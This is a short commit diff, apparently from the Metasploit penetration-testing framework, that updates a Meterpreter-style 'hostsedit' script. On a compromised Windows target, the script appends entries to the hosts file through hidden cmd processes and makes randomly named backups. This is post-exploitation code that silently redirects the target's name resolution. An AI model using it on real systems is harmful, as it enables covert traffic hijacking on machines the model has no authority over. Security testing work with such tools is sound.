Updated hostsedit script

git-svn-id: file:///home/svn/framework3/trunk@6658 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
Carlos Perez 2009-06-14 19:49:07 +00:00
parent d69a1f6ff0
commit 5636204767
1 changed files with 4 additions and 3 deletions

View File

@ -38,14 +38,15 @@ end
def add2hosts(session,record,hosts)
ip,host = record.split(",")
print_status("Adding Record for Host #{host} with IP #{ip}")
session.sys.process.execute("cmd /c echo #{ip}\t#{host} >> #{hosts}")
session.sys.process.execute("cmd /c echo #{ip}\t#{host} >> #{hosts}",nil, {'Hidden' => true})
end
#Make a backup of the hosts file on the target
def backuphosts(session,hosts)
random = sprintf("%.5d",rand(100000))
print_status("Making Backup of the hosts file.")
session.sys.process.execute("cmd /c copy #{hosts} #{hosts}.back",nil, {'Hidden' => true})
print_status("Backup loacated in #{hosts}.back")
session.sys.process.execute("cmd /c copy #{hosts} #{hosts}#{random}.back",nil, {'Hidden' => true})
print_status("Backup loacated in #{hosts}#{random}.back")
end
# Clear DNS Cached entries
def cleardnscach(session)